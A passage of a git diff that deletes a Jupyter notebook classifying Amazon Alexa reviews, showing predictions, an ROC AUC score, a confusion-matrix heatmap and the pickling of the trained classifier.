1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1,\n", - " 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1,\n", - " 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", - " 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], dtype=int64)" - ] - }, - "execution_count": 14, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y_pred = classifier.predict(X_test)\n", - "y_pred" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Checking Accuracy" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0.6825810185185184" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "roc_auc_score(y_test, y_pred)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Predictions are 68.25% accurate." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Results' Visualization" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[ 20, 34],\n", - " [ 3, 573]], dtype=int64)" - ] - }, - "execution_count": 16, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "cm = confusion_matrix(y_test, y_pred)\n", - "cm" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Text(0.5, 1.0, 'Accuracy Score: 0.6825810185185184')" - ] - }, - "execution_count": 17, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.figure(figsize=(6,6))\n", - "sns.heatmap(cm, annot=True, fmt=\".0f\", linewidths=0.5, square = True, cmap = 'Pastel1')\n", - "plt.ylabel('Actual label')\n", - "plt.xlabel('Predicted label')\n", - "all_sample_title = 'Accuracy Score: {0}'.format(roc_auc_score(y_test, y_pred))\n", - "plt.title(all_sample_title, size = 15)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Getting the pkl file" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "metadata": {}, - "outputs": [], - "source": [ - "import pickle\n", - "pickle.dump(classifier, open('AmazonAlexaReviewsAnalysis.pkl', 'wb'))" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.5" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/Add Code Here/IPYNB/Chunking.ipnyb b/Add Code Here/IPYNB/Chunking.ipnyb deleted file mode 100644 index 